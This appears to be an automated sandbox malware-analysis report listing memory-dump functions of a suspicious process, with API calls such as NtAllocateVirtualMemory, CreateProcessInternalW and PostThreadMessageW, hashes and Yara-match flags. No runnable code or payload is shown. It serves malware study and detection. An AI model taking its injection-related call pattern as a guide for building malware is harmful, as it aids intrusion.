Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 24b671626734e9ed76f9a4dbf97127265e62f4d16fc353e1beead46376c543d7
Instruction ID: 9808cc8ab9b1c6a77b5803eef6c5962e0b3daf0d1c88aa44156c8c2fad5da335
Opcode Fuzzy Hash: 24b671626734e9ed76f9a4dbf97127265e62f4d16fc353e1beead46376c543d7
Instruction Fuzzy Hash: 5AF0FE762101186BCB14DF99CC91EA777ADAF88654F118159FE08A7241D530E911CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00659F40, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00642D11,00002000,00003000,00000004), ref: 00659F79

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 03d588f97223f9fa02925d3c274b3f3aa0cd63257c507340794d6f6b6798a14f
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 79F015B2210218ABCB14DF89CC81EAB77ADEF88750F118248BE08A7241C630F810CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 04679540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467954A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b237c852c649aa1cea5385540cb377c2c8b46f4401598cda0cbd0bdc786fa6cc
Instruction ID: 91c670183e869d1082e6963806d87c46a8c6a710e3c4befcfe093412e8d8d9ac
Opcode Fuzzy Hash: b237c852c649aa1cea5385540cb377c2c8b46f4401598cda0cbd0bdc786fa6cc
Instruction Fuzzy Hash: 3D9002A5211000032105B9594705907014A97E5395351C125F1006554CE661D8616171

Uniqueness

Uniqueness Score: -1.00%

Function 046795D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046795DA

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d335e4ee6617edcc24ab2caa952e58ccbc1a9d63e2eb9de1d342bc2aacd8dd9d
Instruction ID: b25bef955504508af1d1c95acfed598a403d38dc423fb369816a99272e7d79d4
Opcode Fuzzy Hash: d335e4ee6617edcc24ab2caa952e58ccbc1a9d63e2eb9de1d342bc2aacd8dd9d
Instruction Fuzzy Hash: AE9002E120200003610575598415A16410E97F0245B51C125E1005594DD565D8917175

Uniqueness

Uniqueness Score: -1.00%

Function 04679660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467966A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1ff1bdadcb96d73a8000a034db517fadc66ebab28fe3250a34c920217e5ac7aa
Instruction ID: 4716ea4d6499ab930e3fadce0c2069a53bce3275bcf7065bcf9f3eb5393dd393
Opcode Fuzzy Hash: 1ff1bdadcb96d73a8000a034db517fadc66ebab28fe3250a34c920217e5ac7aa
Instruction Fuzzy Hash: 2D9002B120100802F18075598405A4A010997E1345F91C119E0016658DDA55DA5977F1

Uniqueness

Uniqueness Score: -1.00%

Function 04679650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467965A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 76b72d7e4145704c07b85ceca7653e12e2552f488529d68eb318900d24ac40cf
Instruction ID: 601c28aa8fd15917afa84a84778e8c163ef44f43a59eda12bb6888c7fe94705f
Opcode Fuzzy Hash: 76b72d7e4145704c07b85ceca7653e12e2552f488529d68eb318900d24ac40cf
Instruction Fuzzy Hash: 389002B120504842F14075598405E46011997E0349F51C115E0055698DA665DD55B6B1

Uniqueness

Uniqueness Score: -1.00%

Function 046796E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046796EA

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aa465dd35e4aad424fef97f31dc3684c2b413836dbbea2408128356b3ae61a34
Instruction ID: 054f7e5680862d9f89e126f18d282b37d3e7e8dccafcb96d094eed7a11829032
Opcode Fuzzy Hash: aa465dd35e4aad424fef97f31dc3684c2b413836dbbea2408128356b3ae61a34
Instruction Fuzzy Hash: E49002B120108802F1107559C405B4A010997E0345F55C515E441565CD96D5D8917171

Uniqueness

Uniqueness Score: -1.00%

Function 046796D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046796DA

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f1928024e5e07ee56125c3ac5d004f1f9fb6e53b37c14c6df68079eb399f6f2f
Instruction ID: c272a68c429d0abadcaf70685b692a780a718b7756818c551dd764d71e3aa790
Opcode Fuzzy Hash: f1928024e5e07ee56125c3ac5d004f1f9fb6e53b37c14c6df68079eb399f6f2f
Instruction Fuzzy Hash: 109002B120100842F10075598405F46010997F0345F51C11AE0115658D9655D8517571

Uniqueness

Uniqueness Score: -1.00%

Function 04679710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467971A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f1a698c576fcea1a4a0edc83778cf532f874f58d74e68fd8f9acddfa5ea53766
Instruction ID: 1602ba5275cbb7140570dfce8cf986cdd9ff9e0a5689d7e0bb6972ff5e505be1
Opcode Fuzzy Hash: f1a698c576fcea1a4a0edc83778cf532f874f58d74e68fd8f9acddfa5ea53766
Instruction Fuzzy Hash: 1A9002B120100402F10079999409A46010997F0345F51D115E5015559ED6A5D8917171

Uniqueness

Uniqueness Score: -1.00%

Function 04679FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04679FEA

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b01b56171c72744319608aa7571c4f4698d5558dcbd5e77e200e6ac709d0e33e
Instruction ID: b18287f6d7bcfb0066bb3531b7c3dbe47c3a2b0b6916386c38761d88a4dcf512
Opcode Fuzzy Hash: b01b56171c72744319608aa7571c4f4698d5558dcbd5e77e200e6ac709d0e33e
Instruction Fuzzy Hash: 6D9002B131114402F1107559C405B06010997E1245F51C515E081555CD96D5D8917172

Uniqueness

Uniqueness Score: -1.00%

Function 04679780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467978A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70b249ad521101600af14d35508c760b12a767425fd8d168fab7fda9a23a49ab
Instruction ID: a61c8a4c62b472791045fc7d5431ab2d24ec5d9c6176a12c79edabf9241bd8ef
Opcode Fuzzy Hash: 70b249ad521101600af14d35508c760b12a767425fd8d168fab7fda9a23a49ab
Instruction Fuzzy Hash: FF9002A921300002F18075599409A0A010997E1246F91D519E000655CCD955D8696371

Uniqueness

Uniqueness Score: -1.00%

Function 04679860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467986A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f944347a30aaf5ca28ba853d91ad2bbf1f34b693c49f33adc29ace481127d5fd
Instruction ID: 1e833e49d831621b19de5feb5cb87602e20d6135e2f6e68c6b5d4fcf6baadbff
Opcode Fuzzy Hash: f944347a30aaf5ca28ba853d91ad2bbf1f34b693c49f33adc29ace481127d5fd
Instruction Fuzzy Hash: A09002B120100413F11175598505B07010D97E0285F91C516E041555CDA696D952B171

Uniqueness

Uniqueness Score: -1.00%

Function 04679840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467984A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 21b1b025f26e1e0ba72b72208544ead7ed358c1ca31c02cfd2a17bcea75ba003
Instruction ID: e5ca6d438f14ba90c7598215e1af24a6bcf0ada4490ecbfe1422ccd17f366baf
Opcode Fuzzy Hash: 21b1b025f26e1e0ba72b72208544ead7ed358c1ca31c02cfd2a17bcea75ba003
Instruction Fuzzy Hash: D99002A1242041527545B5598405907410AA7F0285791C116E1405954C9566E856E671

Uniqueness

Uniqueness Score: -1.00%

Function 04679910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0467991A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 948bc863af46fa0ab9747b42244467156cebdbbfdf73712d98ced9c4cff39f5b
Instruction ID: 994685a1ee5e0f488b16f68efa594c4e97e7d9f2bb408e442c32bf9aed1aab1c
Opcode Fuzzy Hash: 948bc863af46fa0ab9747b42244467156cebdbbfdf73712d98ced9c4cff39f5b
Instruction Fuzzy Hash: 149002F120100402F14075598405B46010997E0345F51C115E5055558E9699DDD576B5

Uniqueness

Uniqueness Score: -1.00%

Function 046799A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046799AA

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5bc1a40926cf18389f9f14c5513ef0835e091d63bab6263698768a4e02b2b3e6
Instruction ID: b66973f6993662da11d1d4413a504a695ce257624d13a35995dd2de3649dec5f
Opcode Fuzzy Hash: 5bc1a40926cf18389f9f14c5513ef0835e091d63bab6263698768a4e02b2b3e6
Instruction Fuzzy Hash: D49002E134100442F10075598415F060109D7F1345F51C119E1055558D9659DC527176

Uniqueness

Uniqueness Score: -1.00%

Function 04679A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04679A5A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9788cec10276b716d4db41d411231a1bb10501a5e50d9eb2df7709e431a7831c
Instruction ID: b0ccef27b59be7d812ab221860acaedb25824c466ba9a4dff9116839a1a712b8
Opcode Fuzzy Hash: 9788cec10276b716d4db41d411231a1bb10501a5e50d9eb2df7709e431a7831c
Instruction Fuzzy Hash: D29002A121180042F20079698C15F07010997E0347F51C219E0145558CD955D8616571

Uniqueness

Uniqueness Score: -1.00%

Function 0065A062, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00643AF8), ref: 0065A09D

Strings

.z`, xrefs: 0065A08C, 0065A098

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: b1c7953897f55e1afc74185010513ea4f08e820175d8a43248f3489de861c21e
Instruction ID: 94f85539cf6a7e6587d87933ba239a699ca80a0ef67e2d39a545dec023dd7c9e
Opcode Fuzzy Hash: b1c7953897f55e1afc74185010513ea4f08e820175d8a43248f3489de861c21e
Instruction Fuzzy Hash: 6BE06DB5200618AFCB18DF64CC48EEB7769EF88350F128658FD099B242D631E8058BB0

Uniqueness

Uniqueness Score: -1.00%

Function 0065A070, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00643AF8), ref: 0065A09D

Strings

.z`, xrefs: 0065A08C, 0065A098

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 22dc1c0afbc367107f2b008afe8f9d42fe8bb784569bf44f3a25196774791b43
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: C2E04FB12102186BD714DF99CC45EA777ADEF88750F018558FD0857341C630F914CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 00648373, Relevance: 3.2, APIs: 2, Instructions: 173threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0064834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0064836B

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 6ef531ff1666c455610c41a7cb0699f63bd72561faff8bd283c1852d331b7f79
Instruction ID: e8191dc95317fcd5d81f37288f50fc3b2426681348f340b54ef61b0eb72fec1d
Opcode Fuzzy Hash: 6ef531ff1666c455610c41a7cb0699f63bd72561faff8bd283c1852d331b7f79
Instruction Fuzzy Hash: 6951B0B0A0030AAFDB64DF64DC86BEB77F9EB48704F00446DF94997241DB70AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 006482E8, Relevance: 3.1, APIs: 2, Instructions: 57threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0064834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0064836B

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 5d894060b6b7fd6093c30b1eef54723da4363ebb8278e163d07cfd303d4d3d28
Instruction ID: 3417daea3b181f6856ef3b2403a9e60fa80a52d978c7fee32e2a737cca3ce27e
Opcode Fuzzy Hash: 5d894060b6b7fd6093c30b1eef54723da4363ebb8278e163d07cfd303d4d3d28
Instruction Fuzzy Hash: 9201D831A803187BE761AA949C43FFE776DAF40F51F044158FF04BA1C1E694690A46F9

Uniqueness

Uniqueness Score: -1.00%

Function 006482F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0064834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0064836B

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 4a55148ff9da4d85293f36c1d21b3ca726a4155c96c158c46edfd0097c785396
Instruction ID: 2730aad559190cc08ecb5b4e240e1e92a866347f849794b004439528d60f4d0b
Opcode Fuzzy Hash: 4a55148ff9da4d85293f36c1d21b3ca726a4155c96c158c46edfd0097c785396
Instruction Fuzzy Hash: 4001A731A802287BE761AA949C43FFE776D6B40F51F044158FF04BA1C1EAD4690A46FA

Uniqueness

Uniqueness Score: -1.00%

Function 0065A0A2, Relevance: 1.6, APIs: 1, Instructions: 57processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0065A134

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: eeb733b673eb944792bb8203ce0059dad5fa0bea96ffefd192fb4c38d438d47b
Instruction ID: 1096a12c1a2f5cb71c452b31b35d4b08ff46819bf40dc951cd28c17c62498f1a
Opcode Fuzzy Hash: eeb733b673eb944792bb8203ce0059dad5fa0bea96ffefd192fb4c38d438d47b
Instruction Fuzzy Hash: FD1135B2200508ABDB14DF98DC81DEB73ADEF8C350F118258FA0CA7241D230E8118BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0065A0E0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0065A134

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 57b09e9819eaed82e9fbead245d93957f88954e6edbefa455b4f3fc96dc432f4
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 9F01B2B2210108BFCB54DF89DC80EEB77ADAF8C754F158258FA0DA7241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0065A0DD, Relevance: 1.5, APIs: 1, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0065A134

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: c3baa7fce7eb0ddf96255bdb43803452beb079bc69f78de0a9226d8995cc93b8
Instruction ID: 6796cac1749eec24661bb01e3fb7f4e6e8576cb0a0dc16bc668c6abebdbce47d
Opcode Fuzzy Hash: c3baa7fce7eb0ddf96255bdb43803452beb079bc69f78de0a9226d8995cc93b8
Instruction Fuzzy Hash: A301AFB6210108AFCB54CF89DD80EEB37AEAF8C754F158248FA0DA7250C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0065A1C2, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0064F1A2,0064F1A2,?,00000000,?,?), ref: 0065A200

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 03383e93dc204d9f82c5963dd4e0669818d90e0579aa9ebb9d57120db0d9273a
Instruction ID: 2177d40e829eaa5341e7d64be6f580bd8129d5a01910cd2743d3a515a0c9904f
Opcode Fuzzy Hash: 03383e93dc204d9f82c5963dd4e0669818d90e0579aa9ebb9d57120db0d9273a
Instruction Fuzzy Hash: 09F0E5716002186FCB20DF64CC41EDB3769EF45350F068298FE496B282C630E815CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 0065A030, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00654506,?,00654C7F,00654C7F,?,00654506,?,?,?,?,?,00000000,00000000,?), ref: 0065A05D

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 2b605dae52b6dbf76cb4fa6f573545e09ab660c175329d124bfe23cda3bf6bdf
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 82E012B1210218ABDB14EF99CC81EA777ADEF88650F118558BE086B242C630F9148AF0

Uniqueness

Uniqueness Score: -1.00%

Function 0065A1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0064F1A2,0064F1A2,?,00000000,?,?), ref: 0065A200

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: de76c81fa45699f64a4fc5260906e3a4fafa377bbbf35b70d61de4effc1fe3b9
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: F6E01AB12002186BDB10DF89CC85EE737ADEF88650F018154BE0867241C930E8148BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0064F6A0, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00648CF4,?), ref: 0064F6CB

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction ID: 7341ca95c87167b9ccf72997638a8ba0e9da8ff7727561d5baca0b3681b7c191
Opcode Fuzzy Hash: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction Fuzzy Hash: FED0A7717903043BEB10FBA49C03F6632CE6B44B05F490074FA49D73C3DD50E4004165

Uniqueness

Uniqueness Score: -1.00%

Function 0064F699, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00648CF4,?), ref: 0064F6CB

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: bffc28570ab66b8dc48e1db69201ad8618277f1ff8908e152a135418ff1d6e10
Instruction ID: 382a7b3e1a3ebf3af94be8083c3abc4bf4e7df0cb50fdb6cf1328f852a6ec22b
Opcode Fuzzy Hash: bffc28570ab66b8dc48e1db69201ad8618277f1ff8908e152a135418ff1d6e10
Instruction Fuzzy Hash: 06B012313C40168EEE43C7E09C04A293343BBD46107334076D19CCB6A0D93341030604

Uniqueness

Uniqueness Score: -1.00%

Function 0467967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04679694

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2e593186a2c6a10336091439238265dc784887dcdedc1a94c797241e12ae0dd4
Instruction ID: dd56b1f7264be8b938b109ac039d2749152692c69fc01a4a96bc5641f84502e1
Opcode Fuzzy Hash: 2e593186a2c6a10336091439238265dc784887dcdedc1a94c797241e12ae0dd4
Instruction Fuzzy Hash: D9B02BF19010C0C5F700EB604608F173A0077F0300F12C111D1020240A0338D080F1B1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 046EB260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

*** then kb to get the faulting stack, xrefs: 046EB51C
The resource is owned exclusively by thread %p, xrefs: 046EB374
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 046EB39B
*** Inpage error in %ws:%s, xrefs: 046EB418
an invalid address, %p, xrefs: 046EB4CF
The instruction at %p tried to %s , xrefs: 046EB4B6
*** Resource timeout (%p) in %ws:%s, xrefs: 046EB352
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 046EB47D
This failed because of error %Ix., xrefs: 046EB446
*** An Access Violation occurred in %ws:%s, xrefs: 046EB48F
The resource is owned shared by %d threads, xrefs: 046EB37E
write to, xrefs: 046EB4A6
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 046EB305
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 046EB323
*** A stack buffer overrun occurred in %ws:%s, xrefs: 046EB2F3
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 046EB476
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 046EB2DC
The instruction at %p referenced memory at %p., xrefs: 046EB432
